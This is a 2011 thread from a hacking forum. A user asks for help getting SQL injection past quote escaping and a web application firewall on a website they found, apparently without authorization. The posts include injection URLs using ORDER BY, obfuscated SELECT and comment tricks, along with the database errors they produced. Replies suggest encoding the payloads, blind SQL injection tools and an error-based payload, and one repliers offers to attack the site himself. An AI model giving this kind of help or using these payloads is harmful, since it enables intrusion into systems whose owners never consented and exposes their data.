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www.waraxe.us Forum Index -> Sql injection -> Bypassing \' MySQL- [help] WAF Evasion
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Bypassing \' MySQL- [help] WAF Evasion
PostPosted: Wed Sep 21, 2011 7:44 pm Reply with quote
ALGORi7HM
Beginner
Beginner
 
Joined: Sep 20, 2011
Posts: 4
Location: Master Boot Record




Hi. I am stuck here..

I found a website with string based injection.
But whenever I add ' it gets replaced with \'

Code:
http://www.site.com/event.php?id=-8'+order+by+10-- -


I get following error

Code:
Erro MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 10-- -' at line 1



I found two sites, they are on same server, 2nd one isn't string based. Below it is..


It's adding single quote ' in front of Select statement

Code:
http://www.site.com/event.php?id=8+sEleCT+1,2,3--


result is

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 sEleCT 1,2,3--


I tried comment execution, but still it's filtering /*! part and adding '.

Code:
http://www.site.com/event.php?id=8+/*!sEleCT*/+1,2,3--


result is

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT*/ 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 /*!sEleCT*/ 1,2,3--



Also it's effectively filtering Union and throwing Internal Server Error page.

Can anyone help me with this? At least some hints..


Thanks in advance. Very Happy
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PostPosted: Thu Sep 22, 2011 6:13 pm Reply with quote
sk8er
Advanced user
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Joined: May 09, 2005
Posts: 64




if you want to avoid a firewall, I recommend you use a encoded string for you query's, is only one idea Smile
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HI
PostPosted: Fri Sep 23, 2011 4:54 pm Reply with quote
ALGORi7HM
Beginner
Beginner
 
Joined: Sep 20, 2011
Posts: 4
Location: Master Boot Record




ya I tried....not working,

they are blocking UNION..throwing internal server error.
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PostPosted: Sat Sep 24, 2011 4:33 am Reply with quote
sk8er
Advanced user
Advanced user
 
Joined: May 09, 2005
Posts: 64




one good option when bloking with internal errors, is use inference (BLIND SQL) for example, SQLiX available on :

https://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

working with these tecniques.
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PostPosted: Sun Oct 02, 2011 4:34 pm Reply with quote
mainhood
Regular user
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Joined: Sep 02, 2011
Posts: 21




u cant bypass '
because it is magic_quote from php

maybe u can bypass union with error based

try

id=12 and (select 1 from a)-- f

or me me site, i will try
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Bypassing \' MySQL- [help] WAF Evasion
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